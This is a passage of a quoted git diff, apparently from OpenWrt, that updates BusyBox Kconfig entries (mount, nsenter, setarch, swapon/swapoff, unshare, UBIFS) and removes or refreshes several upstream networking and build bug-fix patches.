> @@ -648,7 +501,114 @@ config BUSYBOX_CONFIG_MORE
>   	  the screen, and you are using anything faster than a 300 baud modem,
>   	  you will probably find this utility very helpful. If you don't have
>   	  any need to reading text files, you can leave this disabled.
> +config BUSYBOX_CONFIG_MOUNT
> +	bool "mount"
> +	default BUSYBOX_DEFAULT_MOUNT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  All files and filesystems in Unix are arranged into one big directory
> +	  tree. The 'mount' utility is used to graft a filesystem onto a
> +	  particular part of the tree. A filesystem can either live on a block
> +	  device, or it can be accessible over the network, as is the case with
> +	  NFS filesystems. Most people using BusyBox will also want to enable
> +	  the 'mount' utility.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_FAKE
> +	bool "Support option -f"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable support for faking a file system mount.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_VERBOSE
> +	bool "Support option -v"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable multi-level -v[vv...] verbose messages. Useful if you
> +	  debug mount problems and want to see what is exactly passed
> +	  to the kernel.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_HELPERS
> +	bool "Support mount helpers"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable mounting of virtual file systems via external helpers.
> +	  E.g. "mount obexfs#-b00.11.22.33.44.55 /mnt" will in effect call
> +	  "obexfs -b00.11.22.33.44.55 /mnt"
> +	  Also "mount -t sometype [-o opts] fs /mnt" will try
> +	  "sometype [-o opts] fs /mnt" if simple mount syscall fails.
> +	  The idea is to use such virtual filesystems in /etc/fstab.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_LABEL
> +	bool "Support specifying devices by label or UUID"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	select BUSYBOX_CONFIG_VOLUMEID
> +	help
> +	  This allows for specifying a device by label or uuid, rather than by
> +	  name. This feature utilizes the same functionality as blkid/findfs.
> +	  This also enables label or uuid support for swapon.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_NFS
> +	bool "Support mounting NFS file systems on Linux < 2.6.23"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	select BUSYBOX_CONFIG_FEATURE_HAVE_RPC
> +	select BUSYBOX_CONFIG_FEATURE_SYSLOG
> +	help
> +	  Enable mounting of NFS file systems on Linux kernels prior
> +	  to version 2.6.23. Note that in this case mounting of NFS
> +	  over IPv6 will not be possible.
> +
> +	  Note that this option links in RPC support from libc,
> +	  which is rather large (~10 kbytes on uclibc).
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_CIFS
> +	bool "Support mounting CIFS/SMB file systems"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	help
> +	  Enable support for samba mounts.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_FLAGS
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	bool "Support lots of -o flags in mount"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
> +	help
> +	  Without this, mount only supports ro/rw/remount. With this, it
> +	  supports nosuid, suid, dev, nodev, exec, noexec, sync, async, atime,
> +	  noatime, diratime, nodiratime, loud, bind, move, shared, slave,
> +	  private, unbindable, rshared, rslave, rprivate, and runbindable.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> +	depends on BUSYBOX_CONFIG_MOUNT
> +	bool "Support /etc/fstab and -a"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
> +	help
> +	  Support mount all and looking for files in /etc/fstab.
> +
> +config BUSYBOX_CONFIG_FEATURE_MOUNT_OTHERTAB
> +	depends on BUSYBOX_CONFIG_FEATURE_MOUNT_FSTAB
> +	bool "Support -T <alt_fstab>"
> +	default BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
> +	help
> +	  Support mount -T (specifying an alternate fstab)
> +config BUSYBOX_CONFIG_NSENTER
> +	bool "nsenter"
> +	default BUSYBOX_DEFAULT_NSENTER
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Run program with namespaces of other processes.
>   
> +config BUSYBOX_CONFIG_FEATURE_NSENTER_LONG_OPTS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
> +	depends on BUSYBOX_CONFIG_NSENTER && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Support long options for the nsenter applet. This makes
> +	  the busybox implementation more compatible with upstream.
>   config BUSYBOX_CONFIG_PIVOT_ROOT
>   	bool "pivot_root"
>   	default BUSYBOX_DEFAULT_PIVOT_ROOT
> @@ -661,7 +621,6 @@ config BUSYBOX_CONFIG_PIVOT_ROOT
>   
>   	  Note: This is for initrd in linux 2.4. Under initramfs (introduced
>   	  in linux 2.6) use switch_root instead.
> -
>   config BUSYBOX_CONFIG_RDATE
>   	bool "rdate"
>   	default BUSYBOX_DEFAULT_RDATE
> @@ -670,46 +629,68 @@ config BUSYBOX_CONFIG_RDATE
>   	  system clock with the date and time of a remote networked system using
>   	  the RFC868 protocol, which is built into the inetd daemon on most
>   	  systems.
> -
>   config BUSYBOX_CONFIG_RDEV
>   	bool "rdev"
>   	default BUSYBOX_DEFAULT_RDEV
>   	help
>   	  Print the device node associated with the filesystem mounted at '/'.
> -
>   config BUSYBOX_CONFIG_READPROFILE
>   	bool "readprofile"
>   	default BUSYBOX_DEFAULT_READPROFILE
>   	#select PLATFORM_LINUX
>   	help
>   	  This allows you to parse /proc/profile for basic profiling.
> -
> +config BUSYBOX_CONFIG_REV
> +	bool "rev"
> +	default BUSYBOX_DEFAULT_REV
> +	help
> +	  Reverse lines of a file or files.
>   config BUSYBOX_CONFIG_RTCWAKE
>   	bool "rtcwake"
>   	default BUSYBOX_DEFAULT_RTCWAKE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  Enter a system sleep state until specified wakeup time.
> -
>   config BUSYBOX_CONFIG_SCRIPT
>   	bool "script"
>   	default BUSYBOX_DEFAULT_SCRIPT
>   	help
>   	  The script makes typescript of terminal session.
> -
>   config BUSYBOX_CONFIG_SCRIPTREPLAY
>   	bool "scriptreplay"
>   	default BUSYBOX_DEFAULT_SCRIPTREPLAY
>   	help
>   	  This program replays a typescript, using timing information
>   	  given by script -t.
> +config BUSYBOX_CONFIG_SETARCH
> +	bool "setarch"
> +	default BUSYBOX_DEFAULT_SETARCH
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  The linux32 utility is used to create a 32bit environment for the
> +	  specified program (usually a shell). It only makes sense to have
> +	  this util on a system that supports both 64bit and 32bit userland
> +	  (like amd64/x86, ppc64/ppc, sparc64/sparc, etc...).
> +
> +config BUSYBOX_CONFIG_LINUX32
> +	bool "linux32"
> +	default BUSYBOX_DEFAULT_LINUX32
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "setarch linux32".
>   
> -config BUSYBOX_CONFIG_SWAPONOFF
> -	bool "swaponoff"
> -	default BUSYBOX_DEFAULT_SWAPONOFF
> +config BUSYBOX_CONFIG_LINUX64
> +	bool "linux64"
> +	default BUSYBOX_DEFAULT_LINUX64
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Alias to "setarch linux64".
> +config BUSYBOX_CONFIG_SWAPON
> +	bool "swapon"
> +	default BUSYBOX_DEFAULT_SWAPON
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
> -	  This option enables both the 'swapon' and the 'swapoff' utilities.
> +	  This option enables the 'swapon' utility.
>   	  Once you have created some swap space using 'mkswap', you also need
>   	  to enable your swap space with the 'swapon' utility. The 'swapoff'
>   	  utility is used, typically at system shutdown, to disable any swap
> @@ -719,7 +700,7 @@ config BUSYBOX_CONFIG_SWAPONOFF
>   config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
>   	bool "Support discard option -d"
>   	default BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
> -	depends on BUSYBOX_CONFIG_SWAPONOFF
> +	depends on BUSYBOX_CONFIG_SWAPON
>   	help
>   	  Enable support for discarding swap area blocks at swapon and/or as
>   	  the kernel frees them. This option enables both the -d option on
> @@ -728,10 +709,16 @@ config BUSYBOX_CONFIG_FEATURE_SWAPON_DISCARD
>   config BUSYBOX_CONFIG_FEATURE_SWAPON_PRI
>   	bool "Support priority option -p"
>   	default BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
> -	depends on BUSYBOX_CONFIG_SWAPONOFF
> +	depends on BUSYBOX_CONFIG_SWAPON
>   	help
>   	  Enable support for setting swap device priority in swapon.
>   
> +config BUSYBOX_CONFIG_SWAPOFF
> +	bool "swapoff"
> +	default BUSYBOX_DEFAULT_SWAPOFF
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  This option enables the 'swapoff' utility.
>   config BUSYBOX_CONFIG_SWITCH_ROOT
>   	bool "switch_root"
>   	default BUSYBOX_DEFAULT_SWITCH_ROOT
> @@ -751,7 +738,13 @@ config BUSYBOX_CONFIG_SWITCH_ROOT
>   	  * Because the Linux kernel uses rootfs internally as the starting
>   	  and ending point for searching through the kernel's doubly linked
>   	  list of active mount points. That's why.
> -
> +config BUSYBOX_CONFIG_UEVENT
> +	bool "uevent"
> +	default BUSYBOX_DEFAULT_UEVENT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  uevent is a netlink listener for kernel uevent notifications
> +	  sent via netlink. It is usually used for dynamic device creation.
>   config BUSYBOX_CONFIG_UMOUNT
>   	bool "umount"
>   	default BUSYBOX_DEFAULT_UMOUNT
> @@ -768,6 +761,13 @@ config BUSYBOX_CONFIG_FEATURE_UMOUNT_ALL
>   	depends on BUSYBOX_CONFIG_UMOUNT
>   	help
>   	  Support -a option to unmount all currently mounted filesystems.
> +config BUSYBOX_CONFIG_UNSHARE
> +	bool "unshare"
> +	default BUSYBOX_DEFAULT_UNSHARE
> +	depends on BUSYBOX_CONFIG_LONG_OPTS && !BUSYBOX_CONFIG_NOMMU
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Run program with some namespaces unshared from parent.
>   
>   comment "Common options for mount/umount"
>   	depends on BUSYBOX_CONFIG_MOUNT || BUSYBOX_CONFIG_UMOUNT
> diff --git a/package/utils/busybox/config/util-linux/volume_id/Config.in b/package/utils/busybox/config/util-linux/volume_id/Config.in
> index 6153314..49a5785 100644
> --- a/package/utils/busybox/config/util-linux/volume_id/Config.in
> +++ b/package/utils/busybox/config/util-linux/volume_id/Config.in
> @@ -189,6 +189,15 @@ config BUSYBOX_CONFIG_FEATURE_VOLUMEID_SYSV
>   	  TODO
>   
>   
> +config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UBIFS
> +	bool "UBIFS filesystem"
> +	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
> +	depends on BUSYBOX_CONFIG_VOLUMEID
> +	help
> +	  UBIFS (Unsorted Block Image File System) is a file
> +	  system for use with raw flash memory media.
> +
> +
>   config BUSYBOX_CONFIG_FEATURE_VOLUMEID_UDF
>   	bool "udf filesystem"
>   	default BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
> diff --git a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch b/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
> deleted file mode 100644
> index f33c3b2..0000000
> --- a/package/utils/busybox/patches/002-libbb-send_to_from-do-not-require-that-to-should-hav.patch
> +++ /dev/null
> @@ -1,37 +0,0 @@
> -From 7cef4817d6d6d61a1166ed7dfc13537b95c65970 Mon Sep 17 00:00:00 2001
> -From: Denys Vlasenko <vda.linux at googlemail.com>
> -Date: Thu, 15 Sep 2016 13:20:51 +0200
> -Subject: [PATCH] libbb:/send_to_from: do not require that "to" should have the
> - same AF. Closes 9146
> -
> -Signed-off-by: Denys Vlasenko <vda.linux at googlemail.com>
> ----
> - libbb/udp_io.c | 10 ++++++++--
> - 1 file changed, 8 insertions(+), 2 deletions(-)
> -
> ---- a/libbb/udp_io.c
> -+++ b/libbb/udp_io.c
> -@@ -70,7 +70,13 @@ send_to_from(int fd, void *buf, size_t l
> - 	msg.msg_flags = flags;
> -
> - 	cmsgptr = CMSG_FIRSTHDR(&msg);
> --	if (to->sa_family == AF_INET && from->sa_family == AF_INET) {
> -+	/*
> -+	 * Users report that to->sa_family can be AF_INET6 too,
> -+	 * if "to" was acquired by recv_from_to(). IOW: recv_from_to()
> -+	 * was seen showing IPv6 "from" even when the destination
> -+	 * of received packet (our local address) was IPv4.
> -+	 */
> -+	if (/* to->sa_family == AF_INET && */ from->sa_family == AF_INET) {
> - 		struct in_pktinfo *pktptr;
> - 		cmsgptr->cmsg_level = IPPROTO_IP;
> - 		cmsgptr->cmsg_type = IP_PKTINFO;
> -@@ -86,7 +92,7 @@ send_to_from(int fd, void *buf, size_t l
> - 		pktptr->ipi_spec_dst = ((struct sockaddr_in*)from)->sin_addr;
> - 	}
> - # if ENABLE_FEATURE_IPV6 && defined(IPV6_PKTINFO)
> --	else if (to->sa_family == AF_INET6 && from->sa_family == AF_INET6) {
> -+	else if (/* to->sa_family == AF_INET6 && */ from->sa_family == AF_INET6) {
> - 		struct in6_pktinfo *pktptr;
> - 		cmsgptr->cmsg_level = IPPROTO_IPV6;
> - 		cmsgptr->cmsg_type = IPV6_PKTINFO;
> diff --git a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch b/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
> deleted file mode 100644
> index ed1dcbb..0000000
> --- a/package/utils/busybox/patches/102-trylink_mktemp_fix.patch
> +++ /dev/null
> @@ -1,20 +0,0 @@
> ---- a/scripts/trylink
> -+++ b/scripts/trylink
> -@@ -46,7 +46,7 @@ try() {
> - }
> -
> - check_cc() {
> --    local tempname="$(mktemp)"
> -+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
> -     local r
> -     echo "int main(int argc,char**argv){return argv?argc:0;}" >"$tempname".c
> -     # Can use "-o /dev/null", but older gcc tend to *unlink it* on failure! :(
> -@@ -61,7 +61,7 @@ check_cc() {
> - }
> -
> - check_libc_is_glibc() {
> --    local tempname="$(mktemp)"
> -+    local tempname="$(mktemp /tmp/tmp.XXXXXXXXXX)"
> -     local r
> -     echo "\
> - 	#include <stdlib.h>
> diff --git a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
> index 4825bc8..682a68e 100644
> --- a/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
> +++ b/package/utils/busybox/patches/120-remove_uclibc_rpc_check.patch
> @@ -1,6 +1,6 @@
>   --- a/util-linux/mount.c
>   +++ b/util-linux/mount.c
> -@@ -237,9 +237,6 @@
> +@@ -245,9 +245,6 @@
>    #if ENABLE_FEATURE_MOUNT_NFS
>    /* This is just a warning of a common mistake.  Possibly this should be a
>     * uclibc faq entry rather than in busybox... */
> diff --git a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
> index 0fdaed5..8ef8f22 100644
> --- a/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
> +++ b/package/utils/busybox/patches/200-udhcpc_reduce_msgs.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/udhcp/dhcpc.c
>   +++ b/networking/udhcp/dhcpc.c
> -@@ -697,6 +697,7 @@ static int bcast_or_ucast(struct dhcp_pa
> +@@ -704,6 +704,7 @@ static int bcast_or_ucast(struct dhcp_pa
>    static NOINLINE int send_discover(uint32_t xid, uint32_t requested)
>    {
>    	struct dhcp_packet packet;
> @@ -8,7 +8,7 @@
>    
>    	/* Fill in: op, htype, hlen, cookie, chaddr fields,
>    	 * random xid field (we override it below),
> -@@ -714,6 +715,7 @@ static NOINLINE int send_discover(uint32
> +@@ -721,6 +722,7 @@ static NOINLINE int send_discover(uint32
>    	 */
>    	add_client_options(&packet);
>    
> diff --git a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
> index 4a9ae98..f5e3a07 100644
> --- a/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
> +++ b/package/utils/busybox/patches/201-udhcpc_changed_ifindex.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/udhcp/dhcpc.c
>   +++ b/networking/udhcp/dhcpc.c
> -@@ -1422,6 +1422,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
> +@@ -1439,6 +1439,12 @@ int udhcpc_main(int argc UNUSED_PARAM, c
>    		/* silence "uninitialized!" warning */
>    		unsigned timestamp_before_wait = timestamp_before_wait;
>    
> diff --git a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
> index 1e44552..3df8d93 100644
> --- a/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
> +++ b/package/utils/busybox/patches/203-udhcpc_renew_no_deconfig.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/udhcp/dhcpc.c
>   +++ b/networking/udhcp/dhcpc.c
> -@@ -1103,7 +1103,6 @@ static void perform_renew(void)
> +@@ -1110,7 +1110,6 @@ static void perform_renew(void)
>    		state = RENEW_REQUESTED;
>    		break;
>    	case RENEW_REQUESTED: /* impatient are we? fine, square 1 */
> diff --git a/package/utils/busybox/patches/240-telnetd_intr.patch b/package/utils/busybox/patches/240-telnetd_intr.patch
> index d52ea3f..fec2a3a 100644
> --- a/package/utils/busybox/patches/240-telnetd_intr.patch
> +++ b/package/utils/busybox/patches/240-telnetd_intr.patch
> @@ -1,6 +1,6 @@
>   --- a/networking/telnetd.c
>   +++ b/networking/telnetd.c
> -@@ -333,6 +333,7 @@ make_new_session(
> +@@ -497,6 +497,7 @@ make_new_session(
>    
>    	/* Restore default signal handling ASAP */
>    	bb_signals((1 << SIGCHLD) + (1 << SIGPIPE), SIG_DFL);
> diff --git a/package/utils/busybox/patches/250-date-k-flag.patch b/package/utils/busybox/patches/250-date-k-flag.patch
> index b2681a1..476440f 100644
> --- a/package/utils/busybox/patches/250-date-k-flag.patch
> +++ b/package/utils/busybox/patches/250-date-k-flag.patch
> @@ -1,6 +1,6 @@
>   --- a/coreutils/date.c
>   +++ b/coreutils/date.c
> -@@ -123,6 +123,7 @@
> +@@ -122,6 +122,7 @@
>    //usage:	IF_FEATURE_DATE_ISOFMT(
>    //usage:     "\n	-D FMT		Use FMT for -d TIME conversion"
>    //usage:	)
> @@ -8,7 +8,7 @@
>    //usage:     "\n"
>    //usage:     "\nRecognized TIME formats:"
>    //usage:     "\n	hh:mm[:ss]"
> -@@ -139,9 +140,8 @@
> +@@ -138,9 +139,8 @@
>    
>    #include "libbb.h"
>    #include "common_bufsiz.h"
> @@ -20,7 +20,7 @@
>    
>    enum {
>    	OPT_RFC2822   = (1 << 0), /* R */
> -@@ -149,8 +149,9 @@ enum {
> +@@ -148,8 +148,9 @@ enum {
>    	OPT_UTC       = (1 << 2), /* u */
>    	OPT_DATE      = (1 << 3), /* d */
>    	OPT_REFERENCE = (1 << 4), /* r */
> @@ -32,7 +32,7 @@
>    };
>    
>    static void maybe_set_utc(int opt)
> -@@ -168,12 +169,15 @@ static const char date_longopts[] ALIGN1
> +@@ -167,12 +168,15 @@ static const char date_longopts[] ALIGN1
>    	/*	"universal\0" No_argument       "u" */
>    		"date\0"      Required_argument "d"
>    		"reference\0" Required_argument "r"
> @@ -48,7 +48,7 @@
>    	struct timespec ts;
>    	struct tm tm_time;
>    	char buf_fmt_dt2str[64];
> -@@ -188,7 +192,7 @@ int date_main(int argc UNUSED_PARAM, cha
> +@@ -187,7 +191,7 @@ int date_main(int argc UNUSED_PARAM, cha
>    	opt_complementary = "d--s:s--d"
>    		IF_FEATURE_DATE_ISOFMT(":R--I:I--R");
>    	IF_LONG_OPTS(applet_long_options = date_longopts;)
> @@ -57,7 +57,7 @@
>    			IF_FEATURE_DATE_ISOFMT("I::D:"),
>    			&date_str, &date_str, &filename
>    			IF_FEATURE_DATE_ISOFMT(, &isofmt_arg, &fmt_str2dt));
> -@@ -245,6 +249,31 @@ int date_main(int argc UNUSED_PARAM, cha
> +@@ -244,6 +248,31 @@ int date_main(int argc UNUSED_PARAM, cha
>    	if (*argv)
>    		bb_show_usage();
>    
> diff --git a/package/utils/busybox/patches/302-netlink-alignment.patch b/package/utils/busybox/patches/302-netlink-alignment.patch
> deleted file mode 100644
> index 4cd25b1..0000000
> --- a/package/utils/busybox/patches/302-netlink-alignment.patch
> +++ /dev/null
> @@ -1,100 +0,0 @@
> -From a843f09a4d4428cf11ca02307e60058251b05743 Mon Sep 17 00:00:00 2001
> -From: Hauke Mehrtens <hauke at hauke-m.de>
> -Date: Fri, 16 Sep 2016 21:52:03 +0200
> -Subject: [PATCH] libnetlink: fix alignment of netlink messages
> -
> -An padding to align a message should not only be added between
> -different attributes of a netlink message, but also at the end of the
> -message to pad it to the correct size.
> -
> -Without this patch the following command does not work and returns an
> -error code:
> -ip link add type nlmon
> -
> -Without this ip from busybox sends this:
> -sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=45, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1474057401, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon"}, iov_len=45}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 45
> -return value: 2
> -
> -The normal ip utile from iproute2 sends this:
> -sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716938, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
> -return value: 0
> -
> -With this patch ip from busybox sends this:
> -sendmsg(3, {msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12, msg_iov=[{iov_base={{len=48, type=0x10 /* NLMSG_??? */, flags=NLM_F_REQUEST|NLM_F_ACK|0x600, seq=1473716908, pid=0}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\0\22\0\t\0\1nlmon\0\0\0"}, iov_len=48}], msg_iovlen=1, msg_controllen=0, msg_flags=0}, 0) = 48
> -return value: 0
> -
> -Signed-off-by: Hauke Mehrtens <hauke at hauke-m.de>
> ----
> - networking/libiproute/libnetlink.c | 16 ++++++++--------
> - 1 file changed, 8 insertions(+), 8 deletions(-)
> -
> ---- a/networking/libiproute/libnetlink.c
> -+++ b/networking/libiproute/libnetlink.c
> -@@ -338,14 +338,14 @@ int FAST_FUNC addattr32(struct nlmsghdr
> - 	int len = RTA_LENGTH(4);
> - 	struct rtattr *rta;
> -
> --	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
> -+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
> - 		return -1;
> - 	}
> - 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
> - 	rta->rta_type = type;
> - 	rta->rta_len = len;
> - 	move_to_unaligned32(RTA_DATA(rta), data);
> --	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
> -+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
> - 	return 0;
> - }
> -
> -@@ -354,14 +354,14 @@ int FAST_FUNC addattr_l(struct nlmsghdr
> - 	int len = RTA_LENGTH(alen);
> - 	struct rtattr *rta;
> -
> --	if ((int)(NLMSG_ALIGN(n->nlmsg_len) + len) > maxlen) {
> -+	if ((int)(NLMSG_ALIGN(n->nlmsg_len + len)) > maxlen) {
> - 		return -1;
> - 	}
> - 	rta = (struct rtattr*)(((char*)n) + NLMSG_ALIGN(n->nlmsg_len));
> - 	rta->rta_type = type;
> - 	rta->rta_len = len;
> - 	memcpy(RTA_DATA(rta), data, alen);
> --	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + len;
> -+	n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len + len);
> - 	return 0;
> - }
> -
> -@@ -370,14 +370,14 @@ int FAST_FUNC rta_addattr32(struct rtatt
> - 	int len = RTA_LENGTH(4);
> - 	struct rtattr *subrta;
> -
> --	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
> -+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
> - 		return -1;
> - 	}
> - 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
> - 	subrta->rta_type = type;
> - 	subrta->rta_len = len;
> - 	move_to_unaligned32(RTA_DATA(subrta), data);
> --	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
> -+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
> - 	return 0;
> - }
> -
> -@@ -386,14 +386,14 @@ int FAST_FUNC rta_addattr_l(struct rtatt
> - 	struct rtattr *subrta;
> - 	int len = RTA_LENGTH(alen);
> -
> --	if (RTA_ALIGN(rta->rta_len) + len > maxlen) {
> -+	if (RTA_ALIGN(rta->rta_len + len) > maxlen) {
> - 		return -1;
> - 	}
> - 	subrta = (struct rtattr*)(((char*)rta) + RTA_ALIGN(rta->rta_len));
> - 	subrta->rta_type = type;
> - 	subrta->rta_len = len;
> - 	memcpy(RTA_DATA(subrta), data, alen);
> --	rta->rta_len = NLMSG_ALIGN(rta->rta_len) + len;
> -+	rta->rta_len = NLMSG_ALIGN(rta->rta_len + len);
> - 	return 0;
> - }
> -
> diff --git a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch b/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
> deleted file mode 100644
> index d7a38f6..0000000
> --- a/package/utils/busybox/patches/303-ip-route-fix-high-table-ids.patch
> +++ /dev/null
> @@ -1,486 +0,0 @@
> -From 485fcc89b99eae9cc7501eaff344b104e52ab7bf Mon Sep 17 00:00:00 2001
> -From: Jo-Philipp Wich <jo at mein.io>
> -Date: Mon, 26 Sep 2016 17:48:22 +0200
> -Subject: [PATCH] iproute: properly support high routing table IDs
> -
> -The Linux kernel uses two distinct fields to denote the routing table ID in
> -use by network routes; the 8 bit `rtm_table` member of `struct rtmsg` and the
> -32 bit `RTA_TABLE` netlink attribute.
> -
> -If a routing table ID is larger than 255, the `RT_TABLE` attribute must be used
> -and the `rtm_table` field has to be set to the special `RT_TABLE_UNSPEC` value.
> -
> -This commit ...
> - - switches the *_n2a() and *_a2n() functions of rt_names.c to use dynamically
> -   sized, name-sorted arrays instead of fixed arrays limited to 1024 slots in
> -   order to support IDs up to 65535
> - - adds proper handling of high table IDs to iprule.c and iproute.c when
> -   adding, removing and dumping ip rules and network routes
> -
> -After this change, the Busybox ip applet fully supports IP rules with high ID
> -numbers, using the same logic as the full iproute2.
> -
> -Signed-off-by: Jo-Philipp Wich <jo at mein.io>
> ----
> - networking/libiproute/iproute.c  |  75 ++++++++------
> - networking/libiproute/iprule.c   |   4 +-
> - networking/libiproute/rt_names.c | 204 +++++++++++++++++++++++----------------
> - 3 files changed, 169 insertions(+), 114 deletions(-)
> -
> ---- a/networking/libiproute/iproute.c
> -+++ b/networking/libiproute/iproute.c
> -@@ -66,6 +66,7 @@ static int FAST_FUNC print_route(const s
> - 	inet_prefix dst;
> - 	inet_prefix src;
> - 	int host_len = -1;
> -+	uint32_t rtable;
> -
> - 	if (n->nlmsg_type != RTM_NEWROUTE && n->nlmsg_type != RTM_DELROUTE) {
> - 		fprintf(stderr, "Not a route: %08x %08x %08x\n",
> -@@ -83,34 +84,6 @@ static int FAST_FUNC print_route(const s
> - 	else if (r->rtm_family == AF_INET)
> - 		host_len = 32;
> -
> --	if (r->rtm_family == AF_INET6) {
> --		if (G_filter.tb) {
> --			if (G_filter.tb < 0) {
> --				if (!(r->rtm_flags & RTM_F_CLONED)) {
> --					return 0;
> --				}
> --			} else {
> --				if (r->rtm_flags & RTM_F_CLONED) {
> --					return 0;
> --				}
> --				if (G_filter.tb == RT_TABLE_LOCAL) {
> --					if (r->rtm_type != RTN_LOCAL) {
> --						return 0;
> --					}
> --				} else if (G_filter.tb == RT_TABLE_MAIN) {
> --					if (r->rtm_type == RTN_LOCAL) {
> --						return 0;
> --					}
> --				} else {
> --					return 0;
> --				}
> --			}
> --		}
> --	} else {
> --		if (G_filter.tb > 0 && G_filter.tb != r->rtm_table) {
> --			return 0;
> --		}
> --	}
> - 	if (G_filter.rdst.family
> - 	 && (r->rtm_family != G_filter.rdst.family || G_filter.rdst.bitlen > r->rtm_dst_len)
> - 	) {
> -@@ -141,6 +114,37 @@ static int FAST_FUNC print_route(const s
> - 	memset(&dst, 0, sizeof(dst));
